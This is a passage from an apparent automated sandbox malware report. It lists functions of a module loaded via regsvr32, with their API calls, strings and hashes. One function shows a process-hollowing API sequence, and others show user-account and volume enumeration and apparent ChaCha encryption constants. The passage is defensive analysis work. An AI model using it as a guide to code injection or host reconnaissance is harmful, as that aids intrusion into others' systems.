Function 6C8521F0 Relevance: 1.4, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,?), ref: 6C8523BB

Part of subcall function 6C9328C0: memcmp.MSVCRT(00000001,00000001,?), ref: 6C932A6F

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: ce8937f02912817341e87c3ba404371270e2430e42243c8ee3c5e03d1de17ca1
Instruction ID: 8f6c4958f4abc1e73a8a9cec9028b1fc83092e7930523d1ab0ca0ac3a101b283
Opcode Fuzzy Hash: ce8937f02912817341e87c3ba404371270e2430e42243c8ee3c5e03d1de17ca1
Instruction Fuzzy Hash: 6E41B0B3D193201AD371852489447AFBBA59BC2378F8C4F2DF8D403681DAF9D85087D2

Function 6C874040 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C874134

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: f056032065a7cb2b143405f6329892ec2db737aabf561845cb83b8acead691b4
Instruction ID: 5fdfd4a647461b66a7ea26e207d86ae5d8bfdbe936465d2c2e1ef6ae15dfb2ff
Opcode Fuzzy Hash: f056032065a7cb2b143405f6329892ec2db737aabf561845cb83b8acead691b4
Instruction Fuzzy Hash: 21314B31B042064BDB3CCA6C8D657BEB672ABC5314F144A3DD5169BBD0F77195048BA1

Function 6C85AC40 Relevance: 1.3, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,0000000C), ref: 6C8E9FA8

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cf9517879a36872fc609b8e078a89f4a755ac12bcf3262c5f263ea79d3dd647f
Instruction ID: afe298288e486bd80390dc4d68a12d184d21713b3c52fb3fb7291ebfd66e04a3
Opcode Fuzzy Hash: cf9517879a36872fc609b8e078a89f4a755ac12bcf3262c5f263ea79d3dd647f
Instruction Fuzzy Hash: 35D06734248349AFD710DE58C984A5AF7E9BB59714F108814F95887A50C770FE94DB45

Function 6C8FAFB0 Relevance: 1.3, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(027D0000,?,?,?,6C8E9F6C), ref: 6C8FAFC5

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 67cc9dbce748397726262a98fe01b0d78b7edcf3bde6fcbfb087cd048a6a3fe9
Instruction ID: 9a88eec1d9c88d201bb2e05f10adf0f6eb805250e36fbf22c161ea3dbf89ad47
Opcode Fuzzy Hash: 67cc9dbce748397726262a98fe01b0d78b7edcf3bde6fcbfb087cd048a6a3fe9
Instruction Fuzzy Hash: 03D012B02043496BAF149E75DC44CB7336CEB9496C7208914F82C8BB44DB30F9558574

Non-executed Functions

Function 6C944A90 Relevance: 31.9, APIs: 21, Instructions: 445stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C944B0D

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 22b11ded44ba08c8d9a396ebef7d7ae0f47604ff01838866b54777b4a2b22bde
Instruction ID: 2d91dd238d420f2a8f7fa2e7005c4734e6cb0422047ddb77e0409acb40ce4177
Opcode Fuzzy Hash: 22b11ded44ba08c8d9a396ebef7d7ae0f47604ff01838866b54777b4a2b22bde
Instruction Fuzzy Hash: B702E2725087518FD710CF29C044796BBE2AF86318F09C6AED8A84BB91C376E949CF81

Function 6C86D3A0 Relevance: 24.2, APIs: 11, Strings: 2, Instructions: 1408COMMON

Download Yara Rule

APIs

GetIfTable2.IPHLPAPI(00000000), ref: 6C86D3C2

Strings

cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs, xrefs: 6C86D3A3, 6C86E7A0, 6C86E7E0, 6C86E7FE, 6C86E821
$, xrefs: 6C86D795

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Table2
String ID: $$cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs
API String ID: 2184214033-2784426548
Opcode ID: 2ed534b59337a70987788e7a9b6ba573cf82a0c9b84f3f500eb74d3c707a7839
Instruction ID: 60839a1fb1a04251cbd0e6f6a6da86ad92a2d3aa0756b53c72f0f5619bf0f3a5
Opcode Fuzzy Hash: 2ed534b59337a70987788e7a9b6ba573cf82a0c9b84f3f500eb74d3c707a7839
Instruction Fuzzy Hash: 4CD2A1759087418FD721CF29C980B9AF7E1BFD9304F148A2EE89897751E770E944CB92

Function 6C870400 Relevance: 23.0, APIs: 15, Instructions: 503COMMON

Download Yara Rule

APIs

NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,00000000,?,00000000), ref: 6C8704C6
NetUserGetInfo.NETAPI32(00000000,?,00000017,00000000,00000000,00000000,00000002,00000000,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000002), ref: 6C870522

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: User$EnumInfo
String ID:
API String ID: 2388768862-0
Opcode ID: 268f8394c78054a691848e5af2bf80472125b1f25001ff6e098ce8ae99b8adde
Instruction ID: 61ce1feaf7318e5c3e6ab5f184242dace51ec477b7b8ea17fd33778a45690b9d
Opcode Fuzzy Hash: 268f8394c78054a691848e5af2bf80472125b1f25001ff6e098ce8ae99b8adde
Instruction Fuzzy Hash: 70125C71D006599BDB20CFA8C984BDEBBB4BF59318F144529E818FB741EB369944CBA0

Function 02635830 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 135threadinjectionprocessCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02635859
_memset.LIBCMT ref: 02635878
_memset.LIBCMT ref: 026358AD
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 026358C1

Part of subcall function 026359F0: _vswprintf_s.LIBCMT ref: 02635A01

GetFileAttributesA.KERNEL32(?), ref: 026358F0
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 02635938
VirtualAllocEx.KERNEL32(?,00000000,0264BF98,00003000,00000040,02645084), ref: 0263595E
WriteProcessMemory.KERNEL32(?,00000000,?,0264BF98,00000000,?,00000000,0264BF98,00003000,00000040,02645084), ref: 02635978
GetThreadContext.KERNEL32(?,?,?,00000000,?,0264BF98,00000000,?,00000000,0264BF98,00003000,00000040,02645084), ref: 02635997
SetThreadContext.KERNEL32(?,00010007,?,00000000,?,0264BF98,00000000,?,00000000,0264BF98,00003000,00000040,02645084), ref: 026359B2
ResumeThread.KERNEL32(?,?,00000000,?,0264BF98,00000000,?,00000000,0264BF98,00003000,00000040,02645084), ref: 026359D1

Strings

D, xrefs: 0263588C

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Thread_memset$ContextProcess$AllocAttributesCreateDirectoryFileMemoryResumeSystemVirtualWrite_vswprintf_s
String ID: D
API String ID: 2170139861-2746444292
Opcode ID: aeddd0d94e8c347bbaadca76abf855ba324d9b3ab869e140c6fe2a1d0112047c
Instruction ID: 398253231085f9e5bcc7341f5f2feec5a7ad1d435fc0e40347548bb92f9b5013
Opcode Fuzzy Hash: aeddd0d94e8c347bbaadca76abf855ba324d9b3ab869e140c6fe2a1d0112047c
Instruction Fuzzy Hash: 5D4177B4A40348ABE725DB60DC45FAE77B8EF14B00F40459DB64EA72C0DBB0AA848F54

Function 6C8F9170 Relevance: 20.0, APIs: 13, Instructions: 459COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,6C8F9007,?,00001000,?,?,6C8DC9EC,?,6C8F9007,?,?,00000000,00000000,FFFFFFF4), ref: 6C8F91D5
WriteConsoleW.KERNEL32(00000008,?,00000000,00000000,00000000,0000FDE9,00000008,?,6C8F9007,?,00001000,?,?,6C8DC9EC,?,6C8F9007), ref: 6C8F9204
WriteConsoleW.KERNEL32(00000008,?,00000001,6C8F9007,00000000,00000008,?,00000000,00000000,00000000,0000FDE9,00000008,?,6C8F9007,?,00001000), ref: 6C8F9254
GetLastError.KERNEL32(00000008,?,00000000,00000000,00000000,0000FDE9,00000008,?,6C8F9007,?,00001000,?,?,6C8DC9EC,?,6C8F9007), ref: 6C8F9463
GetStdHandle.KERNEL32(000000F6,?,6C8F9007,?,6C8DC9EC,6C983DD8,00000000,6C8F9007,00000000,?,6C983D78,6C8DC9EC,00001000,6C983DC8,6C983DB0,6C983DB8), ref: 6C8F9525
GetLastError.KERNEL32(000000F6,?,6C8F9007,?,6C8DC9EC,6C983DD8,00000000,6C8F9007,00000000,?,6C983D78,6C8DC9EC,00001000,6C983DC8,6C983DB0,6C983DB8), ref: 6C8F9533

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ConsoleErrorLastWrite$ByteCharHandleMultiWide
String ID:
API String ID: 1103291878-0
Opcode ID: cb9620cf1e38bf8b8ac5f623efb007e1dab64b06ab001c72852a0644d47d6cb1
Instruction ID: c0825a82e9dbf703876cbd64c69d17220af370c696fed949925bf80ace863c1c
Opcode Fuzzy Hash: cb9620cf1e38bf8b8ac5f623efb007e1dab64b06ab001c72852a0644d47d6cb1
Instruction Fuzzy Hash: D5F1BB319153559ADB228F38C8417ABB7B4BFA6384F14CB19F8E4B7A81E730D986C750

Function 6C8F0790 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 172filenativesynchronizationCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL ref: 6C8F07EF
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,00000000,00000103,?,?,00000000,00000000), ref: 6C8F07FE
RtlNtStatusToDosError.NTDLL ref: 6C8F081D
GetConsoleMode.KERNEL32(?,00000000), ref: 6C8F08B3

Strings

\, xrefs: 6C8F0B58
-pty, xrefs: 6C8F0BC2
\, xrefs: 6C8F0B6F

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ConsoleErrorFileModeObjectSingleStatusWaitWrite
String ID: -pty$\$\
API String ID: 1126159181-1451992680
Opcode ID: 66065c0461c0d5769333c36c63aaa93c9f2de68e00b23f0a28fb18984d1db98b
Instruction ID: 4fde6108ec69e93c403421c55efb075833ff2e22276eb1d0b695a8fd0478d9a1
Opcode Fuzzy Hash: 66065c0461c0d5769333c36c63aaa93c9f2de68e00b23f0a28fb18984d1db98b
Instruction Fuzzy Hash: 7651A1B1A05308AFE710CF54CD84BDFBBF4AF85358F10452DE868A7380D774A94A8B96

Function 6C9469D0 Relevance: 11.0, APIs: 7, Instructions: 494COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C946D0B
malloc.MSVCRT ref: 6C946D28

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: ce51ab4f1c2c29a7873d1ca3e9d58189d24f57dfe05f9193a3e02d68419e6229
Instruction ID: e25c24fdc050f5da028893da436af6396b3d3443b3fe9b29aac5918cf787296e
Opcode Fuzzy Hash: ce51ab4f1c2c29a7873d1ca3e9d58189d24f57dfe05f9193a3e02d68419e6229
Instruction Fuzzy Hash: 621258B16097068FC304CF19C48065AB7E6BF88758F55CA2DE899E7B54E730ED09CB92

Function 6C86FCE0 Relevance: 10.8, APIs: 7, Instructions: 345COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C86FD27
FindFirstVolumeW.KERNEL32(00000000,00000105), ref: 6C86FD35
memcpy.MSVCRT(00000000,00000000,FFFFFFFE,00000000,00000105), ref: 6C86FE3D
FindNextVolumeW.KERNEL32(?,?,00000105,?,?,?,?,00000000,00000105), ref: 6C86FEA7
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,?), ref: 6C87013B

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: FindVolume$DiskFirstFreeNextSpacememcpymemset
String ID:
API String ID: 478406750-0
Opcode ID: 08419eaad0cd0fe01798cb32864c54f951efd0c9f5deb8dd8abe9b0dd5f3a510
Instruction ID: da7af3e1513c4ec3e87e2c30a22d9fd2d2bef169411a7f9cf8c3a48bc85b7767
Opcode Fuzzy Hash: 08419eaad0cd0fe01798cb32864c54f951efd0c9f5deb8dd8abe9b0dd5f3a510
Instruction Fuzzy Hash: 0BC135B1D002089BDB20CF69DD45BEEB7F4AFA5718F108829E915B7B81E771D904CBA1

Function 6C926DC0 Relevance: 10.6, Strings: 8, Instructions: 621COMMON

Download Yara Rule

Strings

assertion failed: d.mant + d.plus < (1 << 61), xrefs: 6C92791B
assertion failed: d.mant.checked_add(d.plus).is_some(), xrefs: 6C9261E2, 6C9278E8
assertion failed: d.mant.checked_sub(d.minus).is_some(), xrefs: 6C9261F3, 6C9278F9
assertion failed: d.minus > 0, xrefs: 6C9261C0, 6C9278C6
assertion failed: d.mant > 0, xrefs: 6C9261AF, 6C9278B5
assertion failed: edelta >= 0core\src\num\diy_float.rs, xrefs: 6C92792C
assertion failed: buf.len() >= MAX_SIG_DIGITS, xrefs: 6C926204, 6C92790A
+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 6C926DC4, 6C927954

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: +NaNinf00e00E0assertion failed: ndigits > 0$assertion failed: buf.len() >= MAX_SIG_DIGITS$assertion failed: d.mant + d.plus < (1 << 61)$assertion failed: d.mant > 0$assertion failed: d.mant.checked_add(d.plus).is_some()$assertion failed: d.mant.checked_sub(d.minus).is_some()$assertion failed: d.minus > 0$assertion failed: edelta >= 0core\src\num\diy_float.rs
API String ID: 0-3329680326
Opcode ID: b9231439ab1b7a29a3475a3a3590164ae4348f0aa7848132ef20e1b866603136
Instruction ID: d26299cda1a03273a436e9fa9f94d0879db3b98a72d63ca9eab91ebd5e7ece57
Opcode Fuzzy Hash: b9231439ab1b7a29a3475a3a3590164ae4348f0aa7848132ef20e1b866603136
Instruction Fuzzy Hash: 6B325976A183119FC704CF29C88075AFBE2BFC8754F198A2DF899A7755D734E8058B82

Function 6C8A7F80 Relevance: 9.9, Strings: 7, Instructions: 1131COMMON

Download Yara Rule

Strings

te k2-byexpate knd 3, xrefs: 6C8A8254
expand 3, xrefs: 6C8A831B
te knd 3expa, xrefs: 6C8A8324
2-by, xrefs: 6C8A8334
expa, xrefs: 6C8A82D4
nd 32-by, xrefs: 6C8A820C
te k2-by, xrefs: 6C8A81F1

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: 2-by$expa$expand 3$nd 32-by$te k2-by$te k2-byexpate knd 3$te knd 3expa
API String ID: 0-1772262818
Opcode ID: 1391a8e0975a9adc2b0a8bfe7d6b8fa79609e5bb0249d7250758481f8c467e98
Instruction ID: 08193c45febc1764affb7e7c13b93f0922b3e506d6928dbd7107ffd96ffed1ed
Opcode Fuzzy Hash: 1391a8e0975a9adc2b0a8bfe7d6b8fa79609e5bb0249d7250758481f8c467e98
Instruction Fuzzy Hash: 42E244B0D012288FDB64CFA9C984BCDFBF1BF88314F6581AAD409B7215D7706A968F54

Function 6C8598E0 Relevance: 9.9, Strings: 7, Instructions: 1131COMMON

Download Yara Rule

Strings

te k2-by, xrefs: 6C859B51
nd 32-by, xrefs: 6C859B6C
2-by, xrefs: 6C859C94
expa, xrefs: 6C859C34
te knd 3expa, xrefs: 6C859C84
te k2-byexpate knd 3, xrefs: 6C859BB4
expand 3, xrefs: 6C859C7B

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
